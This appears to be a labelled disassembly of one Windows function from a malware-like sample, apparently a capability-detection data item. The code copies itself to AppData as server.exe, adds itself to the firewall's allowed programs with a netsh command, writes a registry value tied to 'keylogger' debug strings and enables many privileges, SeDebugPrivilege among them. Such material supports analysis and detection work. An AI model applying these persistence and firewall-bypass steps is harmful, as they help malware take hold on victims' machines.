Function at 0x140001330
Capabilities:
Acquire debug privileges
Copy file
Decode data using base64 via winapi
Encode data using base64 via winapi
Get common file path
Query or enumerate registry value
Set registry value
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
lea rbp, [rsp - 0x5b0]
sub rsp, 0x6b0
mov rax, qword [0x14003d010]
xor rax, rsp
mov qword [rbp + 0x5a0], rax
mov eax, dword [0x140037a90]
lea rcx, [rbp + 0x180]
movups xmm0, xmmword [str.server.exe]
mov dword [rsp + 0x68], eax
xor edx, edx
movzx eax, word [0x140037a94]
mov r8d, 0x208
movups xmmword [rsp + 0x58], xmm0
mov word [rsp + 0x6c], ax
call fcn.140008500
xor edx, edx
lea rcx, [rsp + 0x70]
mov r8d, 0x208
call fcn.140008500
xor edx, edx
lea rcx, [rbp + 0x390]
mov r8d, 0x208
call fcn.140008500
mov r8d, 0x104
lea rdx, [rbp + 0x390]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x140001468
mov r9d, 1
lea rdx, [rbp + 0x180]
xor ecx, ecx
lea r8d, [r9 + 0x19]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea rdx, [rbp + 0x180]
mov ebx, eax
lea rcx, str.szAppDataPath_s_n
call fcn.1400012c0
test ebx, ebx
je 0x140001468
lea rax, [rsp + 0x58]
mov edx, 0xc8
lea r9, [rbp + 0x180]
mov qword [rsp + 0x20], rax
lea r8, str._s_s
lea rcx, [rsp + 0x70]
call fcn.1400044f0
lea rax, [rbp + 0x390]
lea r8, [rsp + 0x70]
sub r8, rax
nop word [rax + rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x140001454
add rax, 2
test ecx, ecx
jne 0x140001440
test edx, edx
jne 0x1400015f8
lea rcx, str.same_path__Go_ahead__n
call fcn.1400012c0
mov qword [rsp + 0x6c0], rsi
lea rcx, [rsp + 0x70]
xor edx, edx
mov qword [rsp + 0x6c8], rdi
mov r8d, 0x208
call fcn.140008500
mov r8d, 0x104
lea rdx, [rsp + 0x70]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x140001560
xor edx, edx
lea rcx, [rbp + 0x390]
mov r8d, 0x208
call fcn.140008500
mov edx, 0x5c
lea rcx, [rsp + 0x70]
call fcn.1400083c0
lea rcx, [rax + 2]
test rax, rax
jne 0x1400014d6
lea rcx, [rsp + 0x70]
lea r9, [rbp + 0x390]
sub r9, rcx
movzx eax, word [rcx]
mov word [r9 + rcx], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x1400014e0
lea rdx, [rbp + 0x390]
lea rcx, str.szFileName___s_n
call fcn.1400012c0
xor edx, edx
lea rcx, [rbp + 0x180]
mov r8d, 0x208
call fcn.140008500
lea rax, [rbp + 0x390]
mov edx, 0xc8
lea r9, [rsp + 0x70]
mov qword [rsp + 0x20], rax
lea r8, str.netsh_firewall_add_allowedprogram__s___s__ENABLE
lea rcx, [rbp + 0x180]
call fcn.1400044f0
lea rdx, [rbp + 0x180]
lea rcx, str.cmdline___s_n
call fcn.1400012c0
lea rcx, [rbp + 0x180]
call fcn.140004550
call fcn.140004610
xor esi, esi
lea rax, [rsp + 0x58]
xor r9d, r9d
mov dword [rsp + 0x58], esi
lea rcx, str.Hacked
mov qword [rsp + 0x20], rax
mov ebx, esi
lea edx, [rsi + 8]
lea r8d, [rsi + 1]
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
mov eax, dword [rsp + 0x58]
test eax, eax
je 0x140001663
mov ecx, eax
call fcn.14000cd6c
mov r8d, dword [rsp + 0x58]
xor edx, edx
mov rcx, rax
mov rbx, rax
call fcn.140008500
lea rax, [rsp + 0x58]
mov r9, rbx
lea edx, [rsi + 8]
mov qword [rsp + 0x20], rax
lea r8d, [rsi + 1]
lea rcx, str.Hacked
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
cmp byte [rbx], sil
je 0x140001663
mov r8d, 1
lea eax, [r8 - 1]
movzx eax, byte [rax + rbx]
cmp al, 0xd
je 0x140001628
cmp al, 0xa
je 0x140001628
inc r8d
jmp 0x140001659
xor r8d, r8d
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x390]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x140001468
lea rcx, [rsp + 0x70]
call fcn.140004550
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, r8d
mov eax, r8d
lea rdx, [rcx + rbx]
movzx ecx, byte [rcx + rbx]
test cl, cl
je 0x140001652
nop word [rax + rax]
inc eax
mov byte [rdx - 1], cl
lea rdx, [rax + rbx]
mov ecx, eax
movzx ecx, byte [rdx]
test cl, cl
jne 0x140001640
mov ecx, eax
mov byte [rcx + rbx - 1], sil
lea eax, [r8 - 1]
cmp byte [rax + rbx], sil
jne 0x1400015e3
mov rdx, rbx
lea rcx, str.encode_data:__hs__n
call fcn.1400012c0
xor r9d, r9d
mov qword [rsp + 0x30], rsi
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rsi
xor edx, edx
mov dword [rsp + 0x50], esi
mov rcx, rbx
mov qword [rsp + 0x20], rax
lea r8d, [r9 + 1]
mov rdi, rsi
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov eax, dword [rsp + 0x50]
test eax, eax
je 0x1400016d7
mov ecx, eax
call fcn.14000cd6c
mov rdi, rax
mov qword [rsp + 0x30], rsi
xor edx, edx
mov qword [rsp + 0x28], rsi
lea rax, [rsp + 0x50]
mov r9, rdi
mov rcx, rbx
mov qword [rsp + 0x20], rax
lea r8d, [rdx + 1]
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov rdx, rdi
lea rcx, str.decode_data:__hs__n
call fcn.1400012c0
mov rcx, rbx
call fcn.14000cd58
mov rcx, rdi
call fcn.14000cd58
mov qword [rsp + 0x40], rsi
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rdx, str.Softwaredef9b6cd3f2b0c43097dfbc918862b82
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov dword [rsp + 0x28], 0x20006
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x20], esi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov rdi, qword [rsp + 0x6c8]
test eax, eax
jne 0x14000179d
lea rcx, str.test
mov rax, 0xffffffffffffffff
nop word [rax + rax]
cmp word [rcx + rax*2 + 2], si
lea rax, [rax + 1]
jne 0x140001750
lea eax, [rax*2 + 2]
mov r9d, 1
mov dword [rsp + 0x28], eax
lea rdx, str._kl_
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, str.keylogger_save_OK__n
call fcn.1400012c0
xor edx, edx
lea rcx, [rsp + 0x70]
mov r8d, 0x200
call fcn.140008500
lea rax, [rsp + 0x58]
mov dword [rsp + 0x50], 0x200
mov r9d, 1
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.Softwaredef9b6cd3f2b0c43097dfbc918862b82
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000183a
mov rcx, qword [rsp + 0x58]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
lea rdx, str._kl_
lea rax, [rsp + 0x70]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, qword [rsp + 0x58]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
jne 0x14000183a
cmp dword [rsp + 0x50], 0x200
ja 0x14000183a
lea rdx, [rsp + 0x70]
lea rcx, str.keylogger_getValue:__s__n
call fcn.1400012c0
mov qword [rsp + 0x50], rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x50]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140001a17
lea rcx, str.SeAssignPrimaryTokenPrivilege
mov qword [rbp + 0x60], rsi
mov qword [rsp + 0x78], rcx
lea rax, str.SeCreateTokenPrivilege
lea rcx, str.SeLockMemoryPrivilege
mov qword [rsp + 0x70], rax
mov qword [rbp - 0x80], rcx
mov rbx, rsi
lea rcx, str.SeIncreaseQuotaPrivilege
mov qword [rbp - 0x78], rcx
lea rcx, str.SeUnsolicitedInputPrivilege
mov qword [rbp - 0x70], rcx
lea rcx, str.SeMachineAccountPrivilege
mov qword [rbp - 0x68], rcx
lea rcx, str.SeTcbPrivilege
mov qword [rbp - 0x60], rcx
lea rcx, str.SeSecurityPrivilege
mov qword [rbp - 0x58], rcx
lea rcx, str.SeTakeOwnershipPrivilege
mov qword [rbp - 0x50], rcx
lea rcx, str.SeLoadDriverPrivilege
mov qword [rbp - 0x48], rcx
lea rcx, str.SeSystemProfilePrivilege
mov qword [rbp - 0x40], rcx
lea rcx, str.SeSystemtimePrivilege
mov qword [rbp - 0x38], rcx
lea rcx, str.SeProfileSingleProcessPrivilege
mov qword [rbp - 0x30], rcx
lea rcx, str.SeIncreaseBasePriorityPrivilege
mov qword [rbp - 0x28], rcx
lea rcx, str.SeCreatePagefilePrivilege
mov qword [rbp - 0x20], rcx
lea rcx, str.SeCreatePermanentPrivilege
mov qword [rbp - 0x18], rcx
lea rcx, str.SeBackupPrivilege
mov qword [rbp - 0x10], rcx
lea rcx, str.SeRestorePrivilege
mov qword [rbp - 8], rcx
lea rcx, str.SeShutdownPrivilege
mov qword [rbp], rcx
lea rcx, str.SeDebugPrivilege
mov qword [rbp + 8], rcx
lea rcx, str.SeAuditPrivilege
mov qword [rbp + 0x10], rcx
lea rcx, str.SeSystemEnvironmentPrivilege
mov qword [rbp + 0x18], rcx
lea rcx, str.SeChangeNotifyPrivilege
mov qword [rbp + 0x20], rcx
lea rcx, str.SeRemoteShutdownPrivilege
mov qword [rbp + 0x28], rcx
lea rcx, str.SeUndockPrivilege
mov qword [rbp + 0x30], rcx
lea rcx, str.SeSyncAgentPrivilege
mov qword [rbp + 0x38], rcx
lea rcx, str.SeEnableDelegationPrivilege
mov qword [rbp + 0x40], rcx
lea rcx, str.SeManageVolumePrivilege
mov qword [rbp + 0x48], rcx
lea rcx, str.SeImpersonatePrivilege
mov qword [rbp + 0x50], rcx
lea rcx, str.SeCreateGlobalPrivilege
mov qword [rbp + 0x58], rcx
nop dword [rax]
nop word [rax + rax]
xor ecx, ecx
lea r8, [rsp + 0x5c]
mov rdx, rax
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x60], rcx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rsp + 0x50]
lea r8, [rsp + 0x58]
xor r9d, r9d
mov qword [rsp + 0x28], rsi
xor edx, edx
mov dword [rsp + 0x58], 1
mov dword [rsp + 0x64], 2
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
lea rbx, [rbx + 1]
mov rax, qword [rsp + rbx*8 + 0x70]
test rax, rax
jne 0x1400019c0
mov rsi, qword [rsp + 0x6c0]
mov eax, 1
mov rcx, qword [rbp + 0x5a0]
xor rcx, rsp
call fcn.1400052b0
mov rbx, qword [rsp + 0x6d0]
add rsp, 0x6b0
pop rbp
ret